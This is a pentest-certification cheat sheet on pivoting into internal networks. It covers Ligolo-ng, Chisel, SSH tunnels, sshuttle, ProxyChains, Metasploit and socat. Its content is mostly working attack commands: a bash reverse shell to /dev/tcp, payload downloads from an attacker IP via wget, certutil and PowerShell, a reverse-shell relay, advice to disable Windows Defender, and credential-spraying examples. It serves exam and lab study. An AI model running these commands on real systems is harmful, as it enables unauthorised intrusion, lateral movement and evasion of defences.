PNPT Pivoting Cheat Sheet
PNPT Pivoting Cheat Sheet
This is a cheat sheet for pivoting techniques used in TCM Security’s PNPT (Practical Network Penetration Tester) certification exam.
Pivoting is the technique of using an established foothold from external penetration testing to reach internal network segments that aren’t directly accessible.
[Pivoting Attack Flow]
The goal in pivoting is to use a dual-homed host as a relay point to access the internal network.
※ Dual-homed host = a host connected to both the external and internal network (e.g., a web server with both internet access and a connection to an internal DB server).
[Foothold shell obtained via external penetration]
Step 1. Check Network Interfaces
Use ip addr / ipconfig /all to identify dual-homed interfaces
Determine internal subnet ranges
[Confirm the foothold host is a dual-homed host bridging two networks]
Step 2. Select & Configure Pivoting Tool
Binary upload possible → Ligolo-ng (top recommendation)
SSH + Python available → sshuttle (simplest option)
SSH only → SSH -D + ProxyChains
No SSH (Windows shell) → Chisel reverse SOCKS
Step 3. Establish Tunnel & Verify Internal Access
Verify via TCP — not ping (ICMP doesn't work through SOCKS)
Scan internal hosts with: nmap -sT -Pn -n
Step 4. Internal Enumeration → AD Attacks
Enumerate SMB hosts with CrackMapExec/NetExec
Proceed with AD attacks: BloodHound, Kerberoasting, etc.
[Domain Controller compromised → screenshot → report]※ Take a screenshot the moment you discover a dual-homed interface. Missing the pivot path in your report is a point deduction.
[Step 1: Network Interface Enumeration]
The goal in this phase is to determine whether the foothold host has connectivity into the internal network.
[1–1: Interface Discovery & Internal Host Detection]
Requirements:
1. Shell access to the foothold hostAttack Flow + Commands:
(Attack Flow)
1. Check interfaces with ip addr / ipconfig
2. If two or more different subnets appear → dual-homed host confirmed
3. Check the routing table to map internal network ranges
4. Check the ARP cache to find hosts the foothold has already communicated with
--------------------------------------------------------------------
(Linux)
ip addr # list all interfaces
ip route # routing table
arp -a # ARP cache (hints at internal hosts)
--------------------------------------------------------------------
(Windows)
ipconfig /all
route print
arp -a※ Two or more addresses from different subnets = you’ve found a pivot point.
[Step 2: Ligolo-ng]
The goal in this phase is to create a TUN interface-based VPN tunnel for direct access to the entire internal network.
All tools work natively without ProxyChains — which is why TCM Security currently recommends Ligolo-ng as the top choice for pivoting.
[2–1: Installation & Download]
Requirements:
1. sudo privileges on the attacker machine (Kali)
2. Ability to upload files to the foothold host
3. proxy and agent versions must match exactlyAttack Flow + Commands:
(Attack Flow)
1. Install proxy on the attacker machine
2. Download the agent binary matching the foothold host OS
3. Transfer agent to the foothold host
--------------------------------------------------------------------
(Attacker Machine — Install proxy)
# Kali package install (easiest)
sudo apt update && sudo apt install ligolo-ng
# Or download binaries directly from GitHub
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
--------------------------------------------------------------------
(Download agent — by target OS)
# Linux target
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
# Windows target
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_windows_amd64.zip
--------------------------------------------------------------------
(Transfer agent to foothold host)
# Attacker: start HTTP server
python3 -m http.server 80
# Linux foothold
wget http://[ATTACKER-IP]/agent && chmod +x agent
# Windows foothold
certutil -urlcache -f http://[ATTACKER-IP]/agent.exe agent.exe
powershell iwr -Uri http://[ATTACKER-IP]/agent.exe -OutFile agent.exe[2–2: Proxy Server Setup — Attacker Machine]
Requirements:
1. sudo privileges on the attacker machineAttack Flow + Commands:
(Attack Flow)
1. Create the TUN interface (one-time setup)
2. Start the proxy server
3. Wait for agent connections
--------------------------------------------------------------------
(Commands)
# Create TUN interface (run once only)
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
# Start proxy server (self-signed cert — for lab/exam environments)
./proxy -selfcert
# Change port if needed (default is 11601)
./proxy -selfcert -laddr 0.0.0.0:443[2–3: Run Agent — Foothold Host]
Requirements:
1. agent binary present on the foothold host
2. proxy running on the attacker machineAttack Flow + Commands:
(Attack Flow)
1. Execute agent on the foothold host
2. Connect to the attacker proxy IP and port
3. Verify the session appears in the proxy console
--------------------------------------------------------------------
(Commands)
# Linux foothold
./agent -connect [ATTACKER-IP]:11601 -ignore-cert
# Windows foothold
.\agent.exe -connect [ATTACKER-IP]:11601 -ignore-cert※ The agent runs without admin/root privileges. If Windows Defender blocks it, disable Defender and retry.
[2–4: Session Connection & Route Configuration]
Requirements:
1. Agent session connected in the proxy consoleAttack Flow + Commands:
(Attack Flow)
1. Select the session in the proxy console
2. Inspect the agent's network interfaces
3. Identify the internal subnet range
4. Start the tunnel
5. Add routing on the attacker machine
6. Verify internal network access
--------------------------------------------------------------------
(proxy console commands)
# List and select sessions
ligolo-ng » session
? Specify a session : 1
# Check agent network interfaces (critical!)
[Agent : user@pivot] » ifconfig
# eth0: 192.168.x.x (external network)
# eth1: 172.16.5.x (internal network ← pivot target!)
# Start the tunnel
[Agent : user@pivot] » start
--------------------------------------------------------------------
(Attacker machine — add route in a separate terminal)
sudo ip route add 172.16.5.0/24 dev ligolo
# Verify routing
ip route | grep ligolo
--------------------------------------------------------------------
(Verify internal access — use TCP, not ping!)
nmap -sT -Pn -n -p 22,80,445 172.16.5.10※ Do not verify with ping. Always use nmap -sT -Pn to confirm TCP connectivity.
[2–5: Listeners — Catching Reverse Shells from Internal Hosts]
When an internal host needs to send a reverse shell back to you, the foothold host acts as the relay.
Requirements:
1. Ligolo-ng tunnel active
2. Reverse shell executable on the internal targetAttack Flow + Commands:
(Attack Flow)
1. Add a listener in the proxy console
2. Start a netcat listener on the attacker machine
3. Execute reverse shell on the internal target pointing to the foothold's internal IP
4. Receive the shell on your netcat listener
--------------------------------------------------------------------
(proxy console — add listener)
[Agent : user@pivot] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
--------------------------------------------------------------------
(Attacker machine — netcat listener)
nc -lvnp 4444
--------------------------------------------------------------------
(Internal target — point to foothold's internal IP!)
bash -i >& /dev/tcp/172.16.5.1/4444 0>&1
--------------------------------------------------------------------
(Listener management)
listener_list # list active listeners
listener_stop --id 0 # stop a specific listener[2–6: Double Pivot]
Used when you need to reach a third network segment through a second pivot host.
Requirements:
1. Pivot1 session active
2. Pivot2 is also connected to a third network (e.g., 172.16.200.0/24)Attack Flow + Commands:
(Attack Flow)
1. Create a second TUN interface on the attacker machine
2. Add a proxy port listener on the Pivot1 session
3. Run agent on Pivot2 connecting to Pivot1's internal IP
4. Start the tunnel on the second TUN interface
--------------------------------------------------------------------
(Attacker machine — create second TUN interface)
sudo ip tuntap add user kali mode tun ligolo2
sudo ip link set ligolo2 up
sudo ip route add 172.16.200.0/24 dev ligolo2
--------------------------------------------------------------------
(proxy console — add listener on Pivot1 session)
[Agent : user@pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
--------------------------------------------------------------------
(Pivot2 — run agent connecting to Pivot1's internal IP)
./agent -connect 172.16.150.10:11601 -ignore-cert
--------------------------------------------------------------------
(proxy console — select Pivot2 session, start tunnel on second TUN)
ligolo-ng » session → select 2
[Agent : admin@pivot2] » tunnel_start --tun ligolo2
# 172.16.200.0/24 is now directly accessible![Step 3: Chisel]
The goal in this phase is to create a SOCKS5 proxy through an HTTP WebSocket tunnel to access the internal network.
Particularly useful in environments without SSH or where only HTTP traffic is permitted through the firewall.
[3–1: Reverse SOCKS5 Proxy (Most Common Pattern)]
Requirements:
1. chisel binary on both the attacker machine and foothold host
2. Outbound connection possible from foothold host to attackerAttack Flow + Commands:
(Attack Flow)
1. Start chisel server on the attacker machine
2. Run chisel client on the foothold host
3. SOCKS5 proxy created on attacker at 127.0.0.1:1080
4. Configure ProxyChains and access the internal network
--------------------------------------------------------------------
(Attacker machine — server)
chisel server --reverse --port 8080
--------------------------------------------------------------------
(Foothold host — client)
# Linux
./chisel client [ATTACKER-IP]:8080 R:socks
# Windows
.\chisel.exe client [ATTACKER-IP]:8080 R:socks
--------------------------------------------------------------------
(Attacker machine — configure ProxyChains)
# Add to the end of /etc/proxychains4.conf
socks5 127.0.0.1 1080
--------------------------------------------------------------------
(Internal access — always use -sT -Pn -n!)
proxychains nmap -sT -Pn -n -p 22,80,445 172.16.5.10
proxychains crackmapexec smb 172.16.5.0/24[3–2: Reverse Port Forwarding (Single Port Only)]
When you only need access to one specific service — no SOCKS required, just forward that single port.
Requirements:
1. chisel server running on the attacker machineCommands:
# Attacker server
chisel server --reverse -p 8000
# Foothold: forward attacker port → target port
./chisel client [ATTACKER-IP]:8000 R:8080:172.16.5.19:80
# Multiple ports simultaneously
./chisel client [ATTACKER-IP]:8000 R:80:127.0.0.1:80 R:3389:172.16.5.19:3389
# Access directly from attacker
curl http://127.0.0.1:8080
xfreerdp /v:127.0.0.1:3389 /u:admin /p:password[Step 4: SSH Tunneling]
The goal in this phase is to pivot using the foothold host’s SSH without uploading any additional tools.
Get jaejun835’s stories in your inbox
Join Medium for free to get updates from this writer.
SSH is available on almost every Linux server, making this immediately usable with no binary transfers required.
[4–1: Dynamic Port Forwarding (-D) — SOCKS Proxy]
Creates a SOCKS proxy that dynamically reaches the entire subnet.
Requirements:
1. SSH access to the foothold host (credentials or key)Attack Flow + Commands:
(Attack Flow)
1. Run SSH dynamic forwarding from the attacker
2. SOCKS proxy created at 127.0.0.1:1080 on the attacker
3. Configure ProxyChains and access the internal network
--------------------------------------------------------------------
(Commands)
# Basic
ssh -D 1080 user@[PIVOT-IP]
# Background, no shell (recommended)
ssh -D 1080 -C -N -f user@[PIVOT-IP]
# With SSH key
ssh -i id_rsa -D 1080 -C -N -f user@[PIVOT-IP]
# Option breakdown
# -D : dynamic port forwarding (SOCKS proxy)
# -N : no remote command execution (tunnel only)
# -f : run in background
# -C : enable compression[4–2: Local Port Forwarding (-L) — Single Service Access]
Pulls a specific internal service to a local port on the attacker machine.
Requirements:
1. SSH access to the foothold hostCommands:
# Basic format
ssh -L [local-port]:[target-host]:[target-port] user@[PIVOT-IP]
# Access internal web server
ssh -L 8080:172.16.5.19:80 user@10.10.10.50
# → access via http://127.0.0.1:8080
# Forward internal RDP
ssh -L 1337:172.16.5.50:3389 user@10.10.10.50 -i id_rsa -N -f
xfreerdp /v:127.0.0.1:1337 /u:admin /p:password[4–3: ProxyJump (-J) — Multi-Hop SSH]
SSH directly into a final target by hopping through one or more intermediate hosts.
Requirements:
1. SSH access available on both Pivot1 and the final targetCommands:
# Single hop
ssh -J user@pivot user@target
# Double hop
ssh -J user1@hop1,user2@hop2 user3@final_target[Step 5: sshuttle]
The goal in this phase is to use SSH as a transparent VPN for seamless access to the entire internal network.
The key advantage: all tools work natively without ProxyChains.
Requirements:
1. SSH access to the foothold host
2. Python installed on the foothold host
3. sudo privileges on the attacker machine (to modify iptables)Attack Flow + Commands:
(Attack Flow)
1. Run sshuttle from the attacker machine
2. iptables rules are created automatically → transparent routing
3. Access the internal network directly without ProxyChains
--------------------------------------------------------------------
(Commands)
# Basic
sshuttle -r user@[PIVOT-IP] 172.16.5.0/24
# With SSH key
sshuttle -r user@[PIVOT-IP] --ssh-cmd "ssh -i id_rsa" 172.16.0.0/24
# Exclude pivot host IP (prevent routing loop)
sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5
# Include DNS
sshuttle --dns -r user@[PIVOT-IP] 172.16.0.0/24
# Background execution
sshuttle -D --pidfile /tmp/sshuttle.pid -r user@[PIVOT-IP] 172.16.0.0/24※ sshuttle supports TCP only — UDP and ICMP are not supported. Also does not work on Windows targets (no Python).
[Step 6: ProxyChains Configuration]
The goal in this phase is to route external tools through a SOCKS proxy to reach the internal network.
ProxyChains is an essential companion to any SOCKS-based pivot — Chisel, SSH -D, Metasploit socks_proxy, etc.
[6–1: Config File & Tool Integration]
Requirements:
1. SOCKS proxy already active
(Chisel R:socks, SSH -D 1080, Metasploit socks_proxy, etc.)Attack Flow + Commands:
(Attack Flow)
1. Confirm proxy type and port
2. Edit /etc/proxychains4.conf
3. Prepend proxychains to any tool command
--------------------------------------------------------------------
(/etc/proxychains4.conf)
dynamic_chain # skips dead proxies — recommended for pivoting
#strict_chain # use for a single, stable proxy# DNS leak prevention (comment out if nmap hangs)
proxy_dnstcp_read_time_out 15000
tcp_connect_time_out 8000[ProxyList]
socks5 127.0.0.1 1080
--------------------------------------------------------------------
(Tool integration — always use -sT -Pn -n!)
proxychains nmap -sT -Pn -n --top-ports 50 [TARGET-IP]
proxychains nmap -sT -Pn -n -sV -p 22,80,445 [TARGET-IP]
proxychains crackmapexec smb [TARGET-IP] -u 'admin' -p 'password'
proxychains netexec smb 172.16.5.0/24
proxychains evil-winrm -i [TARGET-IP] -u administrator -p 'Password123!'
proxychains ssh root@[TARGET-IP]
proxychains xfreerdp /v:[TARGET-IP] /u:user /p:password /cert:ignore
※ -sS (SYN scan) does not work through ProxyChains. Always use -sT (TCP Connect).
※ If nmap hangs with proxy_dns enabled, comment it out and add the -n flag.
[Step 7: Metasploit Pivoting]
The goal in this phase is to set up routing and a SOCKS proxy using a Meterpreter session.
[7–1: autoroute + SOCKS Proxy]
Requirements:
1. Meterpreter session established on the foothold hostAttack Flow + Commands:
(Attack Flow)
1. Add internal subnet routing via autoroute in the Meterpreter session
2. Create a SOCKS proxy with the socks_proxy module
3. Configure ProxyChains and use external tools
--------------------------------------------------------------------
(In the Meterpreter session)
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p # verify routes
--------------------------------------------------------------------
(SOCKS proxy module)
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVHOST 127.0.0.1
msf6 > set SRVPORT 1080
msf6 > set VERSION 4a
msf6 > run -j # run as background job
msf6 > jobs # verify running jobs
--------------------------------------------------------------------
(Metasploit built-in scanners — work with autoroute alone)
msf6 > use post/multi/gather/ping_sweep
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set SESSION 1 && run
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.10.20
msf6 > set PORTS 22,80,445,3389 && run[7–2: Meterpreter Port Forwarding]
For mapping a specific port directly without setting up SOCKS.
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.20
# → access via http://127.0.0.1:8080
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.20
meterpreter > portfwd list
meterpreter > portfwd flush[Step 8: Auxiliary Port Forwarding Tools]
[8–1: socat — Port Relay on Linux Pivots]
Used to forward a specific port to an internal service from a Linux foothold host.
Requirements:
1. socat installed or binary uploaded to the Linux foothold hostCommands:
# TCP port forwarding
socat TCP-LISTEN:33060,fork,reuseaddr TCP:172.16.5.19:3306 &
# Reverse shell relay (forward internal target's shell to attacker)
socat TCP-LISTEN:8000,fork TCP:[ATTACKER-IP]:443
# Stop
kill $(pgrep socat)[8–2: netsh — Built-in Port Forwarding on Windows Pivots]
Port forwarding from a Windows foothold host without uploading any additional tools.
Requirements:
1. Administrator privileges on the Windows foothold hostCommands:
# Add port forwarding rule
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=172.16.5.19 connectport=4444
# Add firewall rule (if needed)
netsh advfirewall firewall add rule name="fwd" dir=in action=allow protocol=TCP localport=4444
# View rules
netsh interface portproxy show all
# Delete rule
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444Tool Selection Summary
Binary upload possible → Ligolo-ng (no ProxyChains needed — top choice)
SSH + Python available → sshuttle (no ProxyChains needed — simplest)
SSH only → SSH -D + ProxyChains
No SSH (Windows shell only) → Chisel reverse SOCKS + ProxyChains
Meterpreter session available → autoroute + socks_proxy + ProxyChains
Windows admin rights, need fast → netsh (no upload needed)
Only one specific port needed → SSH -L or socatProxyChains absolute rules — always include these nmap flags:
-sT : TCP Connect scan (SYN scan doesn't work)
-Pn : disable host discovery (ping doesn't work)
-n : disable DNS resolution (prevents hangs)Wrong: proxychains nmap -sS 172.16.5.10
Right: proxychains nmap -sT -Pn -n -p 445,3389 172.16.5.10※ ICMP (ping) through SOCKS is fundamentally impossible — a failed ping does not mean pivoting failed.






